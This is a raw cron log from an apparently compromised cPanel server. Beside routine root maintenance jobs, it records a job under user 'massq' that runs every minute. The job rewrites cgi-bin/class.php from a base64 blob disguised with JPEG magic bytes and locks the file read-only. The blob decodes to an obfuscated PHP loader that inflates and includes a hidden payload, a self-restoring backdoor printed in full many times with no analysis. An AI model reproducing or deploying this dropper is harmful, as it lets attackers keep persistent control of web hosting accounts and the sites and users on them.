Nov 13 20:08:01 server CROND[5048]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 20:09:01 server CROND[5909]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 20:09:01 server CROND[5908]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 13 20:10:01 server CROND[6781]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 20:10:01 server CROND[6782]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 20:10:01 server CROND[6783]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 20:10:01 server CROND[6785]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 20:11:01 server CROND[7880]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 20:12:01 server CROND[8829]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 20:12:01 server CROND[8830]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 13 20:13:01 server CROND[9774]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 20:14:01 server CROND[10469]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 20:15:01 server CROND[11136]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 20:15:01 server CROND[11137]: (root) CMD (/usr/local/cpanel/bin/dbindex &gt;/dev/null 2&gt;&amp;1)
Nov 13 20:15:01 server CROND[11140]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 20:15:01 server CROND[11141]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 20:16:01 server CROND[12140]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 20:17:01 server CROND[13044]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 20:18:01 server CROND[13900]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 20:19:01 server CROND[14199]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 20:20:01 server CROND[15039]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 20:20:01 server CROND[15040]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 13 20:20:01 server CROND[15041]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 20:20:01 server CROND[15044]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 20:20:01 server CROND[15046]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
